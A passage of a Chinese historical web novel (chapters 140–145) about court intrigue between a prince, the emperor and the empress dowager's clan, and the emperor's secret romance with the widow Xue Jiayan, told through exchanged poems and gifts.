姜昀缓缓闭上眼,深深吸了一口带着寒意的夜风。集英殿的喧嚣似乎更清晰地传来,提醒着他此刻身在何处,是何身份。 再睁眼时,那片刻的恍惚与沉湎已消失无踪,只剩下深不见底的幽暗与一丝破釜沉舟的冷硬。太后方才的警告与厌弃,非但没有让他退缩,反而像是一把钥匙,彻底打开了潘多拉的魔盒。 十年了,他对她的心思并没有因为她曾对不起他而磨灭,反倒更激起了他的征服欲。 这天下,唯有一人可随心所欲。 姜昀整理了一下衣袖,脸上重新挂起属于康王的从容笑意,转身,也朝着集英殿那片光亮走去。 姜昀回到集英殿内时,筵席的气氛似乎比他离开时更活络了些。雍王的长女明真郡主,正娇声说着: “皇祖母,孙女儿在封地时,最想念的就是京城里一起长大的几位手帕交了。此番随父王进京,想着机会难得,便想在家里办一场小小的花宴,请几家相熟的姑娘们来说说话,赏赏花。不知……不知皇祖母到时可有空闲,愿不愿意赏脸去坐坐,给孙女儿的花宴添些光彩?”她仰着脸,眼神期盼。 太后声音温淡,听不出太多情绪:“你有心了。只是哀家近来事多,精力不济,到时再看吧。”既未明确答应,也未完全驳了郡主的面子,留了余地。 明真郡主似乎还想再恳求,但见太后已转开头去听旁边一位老王妃说话,只得乖巧地应了声“是”,退回自己的座位。 姜昀面色如常地回到自己的席位,顺手从面前的鎏金盘里拈了块精巧的点心,慢条斯理地品尝着。 邻座的瑞王侧过身子,借着举杯的动作,压低了声音问:“你刚才去了哪儿?怎么去了这么久?” 姜昀咽下点心,端起自己的酒杯与瑞王轻轻一碰,笑了笑,同样压低声音,语气轻松自然:“花园里夜风清凉,吹着舒服,便多走了几步散散酒气。” 瑞王也只是随口一问,闻言便不再深究,转头又与自己的王妃低声说起话来。 礼部尚书王彦起身向御座方向躬身,声音洪亮:“陛下,老臣启奏。关于此次为先帝举行祭祀大典的诸多仪程、人员调度、器物准备等统筹事宜,不知陛下可有圣谕,交由何部衙为主理?” 殿内安静了一瞬,众人的目光都投向御座上的年轻皇帝。 按理说,礼部和太常寺都可以主理祭祀,但看皇帝的意思了。 姜玄放下手中的玉箸,坐姿端正,目光扫过殿内诸臣,声音不疾不徐:“祭祀大典,事关国体,不可轻忽。由太常寺总领全局,负责一应礼仪典章、祭祀流程。礼部从旁协助,督办所需礼器、祭品、文书等务。两衙需通力合作,务必使大典庄重肃穆,无有纰漏。” 太常寺,掌宗庙礼仪,由太常寺卿主官。而当今的太常寺卿,正是太后的七叔——宋宜年。 姜昀原本正要饮酒的动作几不可察地顿住了半秒,心头闪过一丝异样。 第140章 心酸 酒宴将散,丝竹渐歇,宫人们开始有条不紊地收拾残席。 诸王、宗亲、大臣们纷纷起身,准备告退离席。康王姜昀却并未随人流向外,反而逆着方向,朝着御座前走去。 他在阶下停住,整了整衣冠,对着上首的皇帝姜玄深深一揖,声音清晰地回响在略略空旷下来的大殿中:“启禀皇上,臣离京就藩已近三载,未曾再睹母妃慈颜,心中甚为惦念。不知……皇上可否开恩,允臣前往太妃所居宫苑,与母妃团聚片刻,略尽孝心?” 他姿态放得很低,理由也合乎人伦孝道,让人难以拒绝。 皇帝姜玄端坐龙椅之上,闻言,略一颔首,声音无波无澜:“准了。康王孝心可嘉,自去便是。具体事宜,可寻太后宫中掌事姑姑安排时辰与随行。” “臣,谢皇上恩典。”姜昀再次躬身行礼,礼数周全。他转过身,果然依言朝着尚未离席的太后方向走去。 太后已由沁芳扶着站起,正预备离开。见姜昀过来,她停下脚步,脸上是惯常的雍容平和,看不出丝毫花园对峙后的余怒。 姜昀同样恭敬行礼,重复了一遍请求:“母后,儿臣蒙皇上恩准,欲前去探望母妃齐太妃。还请母后安排。” 太后静静看了他两秒,方才微微点头,语气平淡无波:“既皇上已经允了,哀家自然无有不从。此事,便交由沁芳来安排。” “婢子遵命。”沁芳在一旁垂首应道。 “儿臣谢母后。”姜昀道谢,退至一旁。 此时,殿中众人已走得七七八八。太后不再停留,扶着沁芳的手,缓步向殿外走去。 经过皇帝姜玄的御座之侧时,太后的脚步几不可察地慢了半分,目光微微侧转,余光看向那个端坐的年轻身影。 然而,就在她视线即将触及的瞬间,姜玄却像是恰好要目送某位离席的老臣一般,微微偏转了脸,目光径直投向大殿门口晃动的人影,侧脸线条在宫灯下显得有些冷硬。 太后心中蓦地一酸,如同被细针轻轻刺了一下,并不剧烈,却绵长而清晰。 她脚步未停,面上神情也未起任何波澜,继续保持着完美无瑕的太后仪态,一步步踏出了集英殿那高大的门槛,将满殿残余的灯火与那道疏离的背影,留在了身后。 夜风扑面,带着初春的料峭。銮舆已在殿外等候。太后登上舆轿,帘幕垂下,隔绝了外界。舆轿起行,平稳地向着长乐宫方向行去。 回到长乐宫暖阁,沁芳挥退了其余宫人,亲自为太后卸下繁重的头饰,换上舒适的常服。殿内只余她们主仆二人,烛火静静燃烧。 沁芳一边用玉梳轻轻梳理太后浓密的长发,一边压低声音,用只有两人能听见的音量禀报道:“娘娘,此次诸位王爷回京,京畿防务……皇上还是全权交由了大将军总领。” 她没在大将军前面加任何姓氏或封号。在这宫里,“大将军”特指一人——太后的亲兄长,手握京城及近畿重兵的宋郁林。 太后正闭目养神,闻言,眼睫几不可察地颤动了一下。皇帝与她之间虽因诸多事由生了隔阂,彼此心照不宣地疏远、防备,甚至隐隐对抗,但皇帝对宋家的态度,似乎的确如祖母说得的那般并无芥蒂,依旧倚重。 此次祭祀大典,总领仪程的是她的七叔宋宜年;如今拱卫京畿、手握实权、直接负责诸位藩王在京期间安全的,又是她的亲哥哥宋郁林。皇帝将这两处要害,依旧稳稳交托在宋家手中。 这份“信赖”,是真心实意,还是另有图谋?是平衡之术,还是麻痹之计? 太后心中思绪翻涌。但无论如何,这至少表明,在皇帝眼中,宋家依旧是他此刻必须依靠、至少不能轻易撼动的力量。而这,正是她,以及宋家,最大的底气所在。 越是如此,她心底某个念头便越是清晰、坚定。 姜玄需要看清楚,也必须看清楚宋家和她的实力。 先帝离世前后,朝局晦暗不明,是宋家,动用了全部的政治能量、人脉网络,甚至军事上的潜在威慑,力排众议,将当时毫不起眼、冷宫出身的皇六子姜玄,一手捧上了这九五至尊的宝座。 那么如今,时移世易,若皇帝真以为羽翼渐丰,便可挣脱束缚,甚至轻视宋家……宋家一样有足够的能力,让他重新审视,宋家何以有这种能力。 她缓缓睁开眼,铜镜中映出一张依旧美丽却染上深沉心事的脸庞,眼神锐利而冰冷。 “知道了。”太后淡淡应了一声,声音里听不出喜怒,“兄长办事,向来稳妥。皇上既信重,便不能辜负了皇上。告诉兄长,京畿重地,王爷们又都在,务必……周全些。” 沁芳心领神会,低声应“是”。 康王府旧宅内,烛火摇曳,映照着满室久未住人的清冷。 姜昀换下了繁重的亲王礼服,只着一件暗青色常服,斜倚在铺了厚绒垫的酸枝木圈椅里,眉宇间带着几分酒意与疲惫。一名侍女正小心翼翼地将一碗温热的醒酒汤奉到他手边。 他刚接过那描金瓷碗,门外便传来轻叩门扉的声音。 “进来。”姜昀啜了一口醒酒汤,温热的液体带着药草微涩的甘润滑入喉中,稍稍驱散了宴席上积攒的浊气。 长史孙成益,一个年约四旬、面容精干的中年男子,躬身走了进来。他是姜昀的心腹,随同此番进京,负责打理王府在京的一应事务与暗中联络。 姜昀瞥了他一眼,微微抬手,示意房中侍立的几名侍女退下。房门被轻轻掩上,室内只剩下主仆二人。 孙成益上前两步,压低声音道:“王爷,刚得得准信儿。此番京畿防务,圣上明旨,依旧全权交由宋大将军统领。” 姜昀端着碗的手顿了一下,眼神微凝,示意他继续说。 “咱们此番随行入京的两千精兵,”孙成益的声音更沉了几分,“已全部被收拢至京畿大营外围指定区域驻扎,不得擅动。各王府带兵统领,一律暂归京畿大营副将节制。” 第141章 烽火戏诸侯 孙成益顿了顿,观察着姜昀的神色,继续道,“卑职与其他几位王府的长史私下碰了头,都觉得……心里不太踏实。便一同设法去求见了宋大将军麾下一位管事的副将,想着能否通融,让各家保留百余最精锐的亲兵在王府附近驻扎,一来护卫王爷们在京期间的安全,二来……也是个体面。” 姜昀慢慢放下了手中的醒酒汤碗,瓷碗与桌面接触,发出一声轻响。 他面上没什么表情,只抬了抬下巴:“他如何说?” 孙成益脸上露出一丝无奈与凝重:“那副将倒是客气,但话里话外,没有半点转圜余地。他说,‘诸位王爷但请放宽心,既入了京畿,安危自有朝廷、有咱们京畿大营全权负责,断不会让王爷们有丝毫闪失。’又说,‘圣上体恤王爷们远道辛苦,特意吩咐要让王爷们安心休憩,不必为护卫琐事烦忧。这带兵入城……于礼不合,于制不符,还请王爷们谅解。’总之一句话——不许带一兵一卒进城。” 话音落下,室内陷入一片沉寂。只有烛芯偶尔爆出轻微的“噼啪”声。 姜昀靠在椅背上,心头那股疑虑,如同滴入清水中的浓墨,迅速晕染、扩散,变得更深更沉。 太后与皇帝姜玄之间,那种看似平静下的暗流涌动,绝非他离京前的母慈子孝。 提出召他们这些手握兵权的藩王入京的,是太后。而皇帝,对太后的亲族似乎依旧信任有加,委以重任,未见丝毫芥蒂。 这太矛盾了。 如果皇帝与太后已然离心,甚至暗中角力,皇帝为何还要将如此要害的权柄交给太后的娘家人?难道不怕宋家和太后倒向某位亲王,反过来制衡自己吗? 如果太后与宋家仍是铁板一块,太后又为何要召他们这些对皇权有潜在威胁的藩王入京,给皇帝添堵?仅仅是为了显示宋家的影响力,给皇帝“上眼药”? 还是,这对高高在上的“母子”,根本就是在唱一出双簧戏弄他们? “烽火戏诸侯!” 姜昀的嘴唇无声地翕动,吐出了这五个字。脸色在烛光下,瞬间变得极其难看,甚至隐隐发青。 皇帝和太后,难道是为了他们母子之间某种不可告人的权力游戏,就把他们这些藩王当做戏耍的棋子、试探的工具,召之即来,置于险地? “王爷?”孙成益见姜昀脸色突变,眼中寒光闪烁,不由低声唤了一句,心中也蒙上了一层阴影。 姜昀深吸一口气,强行压下心头的惊怒与寒意。他不能乱。无论那对母子是在斗法,还是在合谋演戏,他都必须冷静,利用好这次千载难逢的时机。 “继续盯着京畿大营的动静,还有宋家。”姜昀的声音恢复了平静,但比之前更加冷硬,“特别是……太后与宋郁林、宋宜年之间的联络。另外,让观星台的人都动起来吧,几位王兄的动向,每日都要向我汇报。” “是。”孙成益凛然应命。 姜昀挥挥手,孙成益躬身退下。 室内只余姜昀一人,他端着半碗冷透的了醒酒汤,不知在想着什么,脸上神色一会儿温柔,一会儿又冷硬,极是矛盾。 戚家花园,月色溶溶,如薄纱般笼罩着庭院。一株高大的玉兰树正值盛放,皎洁如玉的花朵缀满枝头,在月光下莹莹生辉,宛如栖落了满树白蝶,幽香暗渡,沁人心脾。 薛嘉言独自立于廊下,身上披着一件藕荷色的薄绒披风,仰头望着那满树芳华,出神良久。月光洒在她清丽的面容上,却化不开她眼底那抹挥之不去的轻愁与思念。 她知道,这几日是四位王爷及家眷奉旨进京的日子。祭奠大典在即,朝中必定事务繁杂,千头万绪。姜玄身为皇帝,要应对宗亲、平衡朝局、确保京城安稳,定然是分身乏术,忙碌异常。他抽不出身来见她,是情理之中的事。 道理她都懂,可心里那份空落落的期盼与失落,却如藤蔓般悄然缠绕。 今夜这月色太好,玉兰太盛,幽香太浓,思念便也如水草般疯长起来。看着那满树莹白,薛嘉言心中忽然一动,一个念头如同花苞悄然绽放。 她转身,轻声唤来不远处侍立的丫鬟:“去搬个梯子来,折一枝花,要那枝开得最好、最饱满的。” 不多时,丫鬟搬来梯子,依着薛嘉言的指点,折下了一枝玉兰。 薛嘉言接过花枝,走进暖阁,寻来一把银剪,耐心地修剪掉多余的叶片和略显突兀的小杈,让花枝的姿态更加疏朗雅致,突出花朵的秀美。 修剪妥当,她将花枝暂时插入注了清水的白瓷瓶中。又走到书案前,找出一张薛涛笺,研墨濡笔。她略一沉吟,提笔写下几行娟秀的蝇头小楷。 写完后,薛嘉言轻轻吹干墨迹,看着那几行小字,脸颊微微有些发热。这几乎是她最大胆的一次回应了。 薛嘉言将花枝从瓶中取出,用一方干净的素白软缎仔细包好花根处,连同那张薛涛笺,一同放入一个细长的锦盒中。 做完这一切,她才唤来拾英。她指了指锦盒,小声吩咐:“拾英……你,你想法子,把这个送给他吧。” 拾英双手接过锦盒,脸上露出由衷的欣慰笑容。 “主子,您早该如此了。婢子说句逾越的话,若是总只有一方付出,另一方总是默默受着,时间长了,不管对方是谁,身份如何,心里难免……会觉着空落,甚至心寒呢。” 薛嘉言听着,轻轻点了点头。拾英的话说到了她心坎里。她并非不懂,只是从前顾虑太多,身份、处境、过往……种种枷锁让她怯于伸手。 “我知道。”她低声说,“快去吧,小心些。” “主子放心。保管今夜就送到。”拾英将锦盒稳妥地抱在怀里,笑着转身退下。 第142章 治病的玉兰花 长宜宫内,烛火通明,姜玄以手撑额,修长的手指按压着突突直跳的太阳穴,脸色在明晃晃的灯光下显得有些苍白。连日来操劳,终于诱发了他的头风旧疾。 大太监张鸿宝侍立在一旁,见状连忙上前,低声道:“皇上,老奴给您按按吧?” 姜玄闭着眼,微微点了下头。 张鸿宝净了手,抹了一些太医院给的精油,站在皇帝身侧,手法娴熟地开始为他按摩头部穴位。殿内一时静默,只闻铜漏滴答,和皇帝偶尔因疼痛而加重的呼吸声。 就在此时,殿门外传来轻微的脚步声,随即便见甘松轻手轻脚地蹭了进来,在距离御案几步远的地方停下,觑着张鸿宝的脸色,用气声般细微的音量禀报道:“师父……您家里头,给您送东西来了。” 张鸿宝闻言,手上微微一顿,眼中闪过一丝讶异,但随即像是明白了什么,脸上迅速堆起恍然的笑容,手上按摩的动作却未停,声音放得自然而随意:“哦?想来是家里人看这几日夜里天凉,怕咱家在宫里当值冻着,巴巴地送了御寒的衣物来了。拿进来吧。” 甘松应了声“是”,又悄无声息地退了出去。不多时,他便带着另一名小太监,合力捧着一个细长的锦盒重新入内。锦盒样式简洁,并无过多纹饰。 张鸿宝示意他们将锦盒放在一旁的矮几上,便挥手让他们退下。 待殿内重新只剩下他和皇帝两人,张鸿宝才停下手,走到矮几旁,看着那锦盒,脸上的笑容变得意味深长,回头对依旧闭目忍痛的姜玄道:“皇上,您说这事儿巧不巧?老奴一个无儿无女、老家都没什么亲眷了的孤老头子,这时候倒有人惦记着送东西来了。依老奴看啊,这东西,只怕不是给老奴这个糟老头子的哟?” 姜玄原本烦躁不堪,对张鸿宝的自言自语并未上心,只是眉头紧锁。张鸿宝也不再多言,笑嘻嘻的动手打开了锦盒的搭扣,将盒盖轻轻掀开。 霎时间,一股清洌幽远的香气,悄然在御案旁弥漫开来。灯火映照下,锦盒中衬着的素白软缎上,静静地躺着一枝玉兰花。花枝斜欹,形态优美,花瓣如玉雕琢,在光下流转着细腻温润的光泽。 原本被头疼折磨得心烦意乱的姜玄,被这突如其来的清雅香气吸引,下意识地睁开了眼。目光落在锦盒中的玉兰上,他微微一怔。 烦躁、疼痛、还有那些堆积如山的政事带来的沉重压力,在这枝突如其来、洁净美好的花枝面前,竟奇异地、一点点地消散了。心头仿佛被一泓清泉洗涤过,变得平静而柔软,甚至泛起一丝连他自己都未曾预料的欣喜。 姜玄伸手,小心翼翼地将那枝玉兰从锦盒中取了出来,放在掌心细细端详。手指轻触冰凉光滑的花瓣,那股幽香便更真切地萦绕在鼻端。他冷硬的唇角,不自觉地微微向上弯起了一个极小的弧度。 正把玩着,他注意到花枝下方,锦盒底部还放着一张薛涛笺。他拈起那张小笺,展开。 一行行娟秀清丽、风骨内蕴的蝇头小楷映入眼帘: “素魄凝枝晓色寒, 折来清影寄云端。 君若问侬思几许, 一襟香雪压春山。” 诗句含蓄又热烈,借玉兰将满腔无处诉说的思念,她是如此思念他,思之如狂,足以压倒春山。 姜玄的呼吸滞了一瞬,随即,一种难以言喻的悸动与狂喜,如同春潮般瞬间席卷了他的心田,冲击得他心神摇曳。他再想不到,一贯内敛自持、甚少主动表达情感的薛嘉言,竟会以如此风雅又直白的方式,向他袒露心迹。 一时之间,什么头风疼痛,什么朝政纷扰,什么太后藩王,统统都被抛到了九霄云外。心花怒放都不足以形容他此刻的感受,只觉得胸臆间被一种温暖而饱胀的情绪填满,连带着周身都轻盈松快起来,方才那折磨人的头疼,竟也在这突如其来的欢喜中消散无踪。 他捧着那枝玉兰看了又看,目光温柔得能滴出水来,又反复将那小笺上的诗句读了好几遍。 “张鸿宝,”他开口,声音里带着一丝自己都未察觉的轻快,“这花……在瓶中供养,能开几日?” 张鸿宝一直笑眯眯地瞧着,此刻连忙躬身答道:“回皇上,玉兰花虽美,花期却不算长。若是折枝,放在花瓶里,用清水仔细养着,避开日头直晒和风口,总能开上两三日的。” “两三日……”姜玄低声重复,眉头微蹙,眼中闪过一丝惋惜,“可惜了。这般好的花,只能开这么短的时间。” 他摩挲着锦盒的边缘,沉默了片刻,忽然像是想起什么,抬眼看向张鸿宝,眼中带着一丝罕见的、属于少年人般的探询兴致:“朕记得,曾在一些古籍杂记里看到过,许多鲜花都可以通过特殊手法,制成干花书签,能长久保存其形色。张鸿宝,你可会做?” 张鸿宝一听,笑得更开了,脸上的皱纹都舒展开来:“皇上圣明,竟连这个也知道。老奴年轻时伺候过一位太妃娘娘,她极爱侍弄花草,也喜做干花。老奴跟着打过下手,学过一些粗浅的法子,做过玫瑰和菊花的书签。想来这玉兰花……道理应是相通的,只是花瓣更娇嫩些,需更仔细。老奴回头琢磨琢磨,定能将它完好地保存下来。” 姜玄闻言,眼中露出满意的神色,点了点头:“嗯,此事就交予你了。今晚,先将这花找个合适的花瓶,朕记得从前见过一只青釉的觚形瓶,那个就挺合适的,放在朕的寝殿内。等明日朕去上朝了,你再取走,按你的法子,仔细做成书签。务必要尽量保持它原有的姿态与颜色。” “老奴遵旨!”张鸿宝响亮地应道,笑得见牙不见眼,比自己得了什么赏赐还高兴,“皇上放心,老奴定当竭尽全力,让这枝玉兰,长长久久地伴着皇上。” 姜玄被他说得耳根微热,却并未斥责,只是挥了挥手,示意他退下。目光,却又不自觉地落回那锦盒之上,冷峻的眉眼在烛光下,彻底柔和了下来。 长夜未尽,头疾已消。这一枝玉兰,一首小诗,竟比任何灵丹妙药都更有效力。 第143章 琳琅满目的回礼 因着薛嘉言那份意料之外的厚礼,姜玄心头那簇火苗燃了整夜,心潮起伏,竟辗转反侧,到了后半夜才朦胧睡去。虽只睡了短短两个时辰,次日寅时初刻醒来时,他眼中非但不见疲惫,反而有种清亮的神采。 张鸿宝本已到了下值的时辰,因惦记着皇帝寝殿里那枝要紧的玉兰,便留在廊下,与来接班的御前总管太监陆怀低声说着话,交代些注意事项。 姜玄穿戴整齐,走出寝殿准备前往紫宸宫前殿。一眼瞧见廊下的张鸿宝,脚步微顿,轻咳了一声。 张鸿宝何等机敏,闻声立刻止住话头,快步走近,躬身听候吩咐。 姜玄目光平视前方,仿佛只是随口一提:“你……去朕的私库里,仔细找一找。但凡有玉兰花样子的首饰、摆件,或是纹样、颜色相近的物件……不拘是什么,都挑出来,全给她送过去。” 他目光微微偏向张鸿宝,又补充了一句:“朕在榻边小几上,留了一张小笺,一并……给她送过去。” 张鸿宝心里跟明镜似的,脸上立刻堆起发自内心的笑容,褶子都深了几分,也压低声音回道:“皇上放心,老奴明白。定给您办得妥妥当当。” 姜玄低低“嗯”了一声,不再多言,抬步便往前方走去,只是步履似乎比往常更轻快了些。 张鸿宝目送皇帝离开,转身便麻利地办差去了。 皇帝的私库他熟门熟路,这一翻找,可真是尽心尽力。但凡能跟“玉兰”沾上边的,无论是整朵雕刻的,还是花瓣纹样的,或是颜色洁白莹润、形似玉兰的,甚至仅仅是他觉得“好看雅致、配得上那位主子”的,都被他小心翼翼地收罗起来。 于是,当日晌午过后,春和院里,迎来了一个让拾英都怔了一下的大家伙——一个二尺见方、沉甸甸的紫檀木箱子,由两个面生的、举止利落的小子稳稳当当地抬了进来。 “这是薛主子府上吧?您在织行定制的几件名贵料子都到了,东家让咱们送进来。” 此时戚倩蓉正从院门前经过,闻言忙进来道:“嫂子,你买了什么贵重料子,给我也看看。” 薛嘉言面无表情道:“咱们都在孝期能穿什么贵重料子?这都是我给娘家要送的礼。” 戚倩蓉闻言脸上讪讪的,也不似从前那般刁蛮,马上顺着薛嘉言的话说道:“嫂子说的是,嫂子说的是,那您忙,我去看看娘。” 薛嘉言看着戚倩蓉离去的背影嗤笑了一声,自从戚家的男人死完之后,戚家的女人也跟着死去精神靠山,栾氏和戚倩蓉变得十分乖顺,说话做事都要看薛嘉言脸色,生怕薛嘉言一个不高兴就把她们赶出门去。 拾英给了守门的小丫鬟一个眼神,小丫鬟忙关了门,两个人抬着箱子往内室走。 待屋里只有薛嘉言和拾英、司雨主仆三人,拾英看着那颇为壮观的箱子,忍不住掩口笑起来,“张公公这是……送了座小山过来么?什么好东西,用得着这么大阵仗?” 薛嘉言心中也是讶异,示意将箱子司雨将箱子打开。 箱子打开的一刹那,屋里三人都愣了一愣,随即,拾英第一个“噗嗤”笑出了声:“还头一次见人这般送礼的。” 只见箱子里叠放了大大小小、形状各异的几十个锦盒还有绸缎包袱,几乎要溢出来。拾英忍着笑,开始和司雨一样样取出,放在旁边的榻上、桌上。 这一拿出来,更是令人眼花缭乱,又忍俊不禁: 赤金点翠玉兰花簪配着羊脂白玉兰佩、整套的珍珠头面,其间点缀着小小的玉兰花蕾银饰、湖蓝色织暗玉兰纹的杭绸、月白色绣折枝玉兰的云锦、甜白釉玉兰造型的笔洗、青玉雕玉兰花的镇纸、甚至还有几盒印着玉兰暗纹的薛涛笺和带着玉兰清气的御制香墨…… 最让人啼笑皆非的,是压在最底层的一个长条锦盒里,赫然躺着一支黄杨木雕的玉兰花枝造型的——痒痒挠! “哎哟我的天!”拾英拿起那痒痒挠,笑得直不起腰,作势要去挠正在清点布料的司雨,“司雨快来看,这可是皇上私库里的‘宝贝’!来,姐姐给你试试,看看是不是格外舒坦?” 司雨吓得连忙绕着箱子躲开,连连摆手,脸都笑红了:“好姐姐快饶了我吧!这个……这个我可不敢用,这是御赐的‘如意’呢!”她特意加重了“如意”二字,更是引得拾英笑个不停。 薛嘉言也早被这一箱琳琅满目、又透着几分笨拙用心的礼物给逗笑了,心底软成一片。她看着拾英和司雨笑闹,目光温柔地掠过那些礼物,最终落在箱子角落一个还没有打开的锦盒上。 她伸手拿起,打开,里面正是一张洒金小笺。展开,上面是姜玄那笔不算好看、却力透纸背的字迹。只有短短四行: 云端一枝雪, 已入春山怀。 情深不须问, 春山我自来。 薛嘉言看得脸颊发烫,心中鼓荡着难以言喻的悸动与暖流,又暗暗发笑,姜玄不擅字也不擅诗,原来帝王也不见得什么都会。 她正看得出神,拾英恰好凑过头来,笑嘻嘻地想偷看。 薛嘉言一惊,下意识地将小笺迅速合起,紧紧覆在自己胸口,脸颊绯红地嗔了拾英一眼。 拾英见她这般情态,知趣地哈哈一笑,没再坚持探头,转身又去摆弄那些礼物了,只是嘴角的笑意怎么也收不住。 薛嘉言这才松了一口气,将小笺仔细地重新折好,贴身收了起来。 薛嘉言含着笑,看拾英和司雨将礼物一样样小心收进箱笼,瞧见一个婴儿巴掌大的金玉长命锁,锁片整体是元宝形,中心是一朵盛开的玉兰花,花瓣层叠,用极细的金丝勾勒出纹路,花蕊处还嵌着米粒大小的红宝石,下面缀着三个小巧的金铃铛,很是精巧。 薛嘉言微微一怔,姜玄那里,怎么会有这样适合孩童的东西?也不知当初是什么机缘,又是何人,将这带着祝福寓意的东西送到了皇帝那里。 “这个单拿出来吧,”薛嘉言将长命锁递给拾英,“瞧着倒是精致,给棠姐儿戴正合适。” 拾英接过,笑着应了:“这个好,给姐儿戴,又好看又吉利。” 正说着,小丫鬟春桃轻手轻脚地掀帘进来禀报:“夫人,郭大奶奶来了,说给夫人送些东西,刚下车。” 第144章 参谋 薛嘉言一听是郭晓芸来了,脸上笑容更真切了几分。 戚家自戚少亭父子死后,栾氏母女彻底失了倚仗和心气,如同鹌鹑,在薛嘉言面前缩手缩脚,可不敢像从前那般指手画脚了。薛嘉言在戚家内宅,如今是真正说一不二,随心所欲。 她如今肚子越发显怀,身子沉重,所以近来除了粮行和织行的掌柜们因事不得不来戚府当面回禀,她已极少出门,自然许久不曾见郭晓芸了。 “快请进来,到暖阁说话。”薛嘉言忙道,又吩咐司雨,“把桌上这些赶紧收拢一下。” 不多时,郭晓芸便带着丫鬟走了进来。她手里捧着个不小的包袱,面上带着笑。 “薛妹妹!”郭晓芸一进暖阁,便快步走到薛嘉言身边,先仔细打量了她的脸色,见她不仅没有想象中的憔悴哀戚,反而双颊透出健康的红晕,眉眼间流淌着一种难以言喻的柔光,竟比从前未孕时还要娇美几分,不由得一怔,随即松了口气,真心实意地点头笑道,“好,好!看你这样,我就放心多了!就该这样!死了的人,那是一死百了,万事皆空。可咱们活着的人,日子总得一天天往下过,而且得想法子过好了才行!” 她将手中的包袱放在炕桌上,一边解开一边道:“我啊,就怕你钻了牛角尖,自己苦着自己。当初徐郎刚没的时候,我也是……觉得天都塌了,茶不思饭不想,整夜整夜地睡不着,睁着眼睛到天亮,人瘦得脱了形。”她语气平淡,“过了大半个月,心口那团堵着的棉花忽然就松了些。总得先活下去,活得有点人样,对吧?” 包袱解开,里面是叠得整整齐齐的十来件小衣裳、小肚兜、虎头帽、软底小鞋,用的都是上好的细棉布和柔软的绸缎,针脚细密,绣样活泼可爱,显然花费了不少心思。 “闲着也是闲着,给孩子做了些穿的用的,手艺一般,你别嫌弃。”郭晓芸拿起一件绣着鲤鱼戏莲的小红肚兜,在薛嘉言隆起的小腹前比画了一下,笑道,“不管是哥儿还是姐儿,都能穿。这颜色鲜亮,孩子穿着精神。” 薛嘉言笑着打趣道:“你的孝期也快结束了吧?等出了孝,可得抓紧些,寻个合心意的良人,早些成家,生个胖娃娃。到时候啊,就凭你这双巧手,你家孩子的衣裳怕是多到穿不完!” 郭晓芸没料到她话锋转得这么快,还转到自己身上来,脸颊顿时飞上两朵红云,声音细若蚊蚋:“你……你快别胡说了。” 薛嘉言见她羞得厉害,知道她脸皮薄,也不再继续打趣,笑着转了话题,两人又说起闲话。 正说着,棠姐儿被奶娘领了进来,规规矩矩地给郭晓芸行了礼,奶声奶气地叫“郭姨母”。郭晓芸看到乖巧可爱的棠姐儿,眼神都软了,拉着她的小手玩了一会儿。 等棠姐儿被奶娘带下去睡午觉了,薛嘉言想起关于父亲的事,她犹豫了一下,看向郭晓芸。郭晓芸与徐大哥当年鹣鲽情深,是出了名的恩爱夫妻,或许……她的想法能给自己一些参考。 “郭姐姐,”薛嘉言斟酌着开口,语气带上了一丝迟疑,“我……有件事想问问你。只是打个比方,你别多想。” “嗯?什么事?你说。”郭晓芸见她神色认真,也坐直了身子。 “假如……我是说假如,”薛嘉言慢慢说道,“我在外头,偶然看到徐大哥……他养了外室,甚至可能有了孩子。这件事,只有我知道。你说,我是该告诉你,还是……不告诉你比较好?” 郭晓芸显然没料到她会问这样一个问题,整个人都愣住了,脸上的红晕迅速褪去,浮现出惊愕与深思。她下意识地反问,声音有些紧绷:“嘉言,你怎么突然问这个?难道是戚……”她以为是薛嘉言发现了戚少亭生前有什么不轨,如今守寡了才后知后觉地难受。 薛嘉言立刻摇头,打断她的猜想:“不,与他无关。我只是……只是想听听你的看法。毕竟,你和徐大哥当年那样好。” 郭晓芸见她说得恳切,神色不似作伪,这才稍微松了口气,但眉头却微微蹙了起来。她沉默了片刻,端起已经微凉的茶盏,轻轻啜了一口,似乎在整理思绪。 “要不要告诉……”她放下茶盏,目光变得有些悠远,仿佛透过眼前的虚空看到了过去的自己,“我觉得,得看是什么时候,看那个‘我’,处在什么样的境地。” 她顿了顿,缓缓道:“若是那时候的我——没有娘家可靠、全副身心都系在夫君身上,也没有谋生的手段——你若是告诉我,我除了哭,除了日夜煎熬,把自己折磨得形销骨立之外……我敢做什么呢?我不敢离开他,因为我离开了他,可能根本活不下去。那样的‘知道’,除了给我带来无尽的痛苦和绝望,让我余生都活在猜忌和怨恨里,还有什么用呢?所以,若是那时候的我,我宁愿不知道,至少……没那么痛苦。” “可若是现在的我……”郭晓芸话锋一转,眼神重新聚焦,变得清晰而坚定,“守了寡,虽然艰难,但咬着牙也走过来了。特别是你帮了我之后,我才明白,原来女子离了男人,不是只有死路一条。我们也可以靠自己养活自己,甚至活得不错。若是现在的我知道夫君有外室,我一定会希望你能告诉我。” 她看向薛嘉言,目光澄澈:“知道了真相,哪怕是血淋淋的,我至少能看清身边的人到底是什么样。我可以选择离开,哪怕前路艰难,但靠着自己的手艺,总不至于饿死。痛是一时的,总比糊涂过一辈子强。” 薛嘉言静静听着,心中翻涌。她想起前世母亲至死不知的真相,想起自己得知这件事时那种天崩地裂的荒谬与冰凉……若母亲早知道,她会像现在的郭晓芸这样,宁可清醒地痛,也不要糊涂地过。 毕竟母亲骨子里,从来都不是软弱的人,她也有足够谋生的金钱和能力。 薛嘉言打趣道:“更何况郭姐姐现在还有了娘家人,苗大人不正是你的苗三弟,更不要怕跟夫家撕破脸啦。” 郭晓芸走后,暖阁里恢复了宁静,薛嘉言独坐良久,眸中神色几经变幻,最终沉淀为一片下定决心的清明。 母亲吕氏有娘家倚仗,有掌管产业的魄力与手腕,更有一颗通透坚韧的心。她或许会痛苦,但绝不该被蒙在鼓里,活在虚假的圆满中。 更重要的是,那个孩子已然存在,国公府的态度也暧昧不明,此事如同潜藏的暗礁,迟早会撞上来。与其让母亲在毫无防备的情况下被巨浪吞没,不如让她提前看清暗流,或许还能携手应对。 想清楚了这一点,薛嘉言不再迟疑。她扬声唤道:“拾英,去请吕舟管事过来一趟。” 第145章 宴会名单 不多时,吕舟匆匆赶来。 薛嘉言屏退了左右,只留吕舟一人。她面色平静,开门见山道:“吕叔,有件事,需得你亲自去办,务必隐秘。” “姑娘请吩咐。”吕舟躬身道。 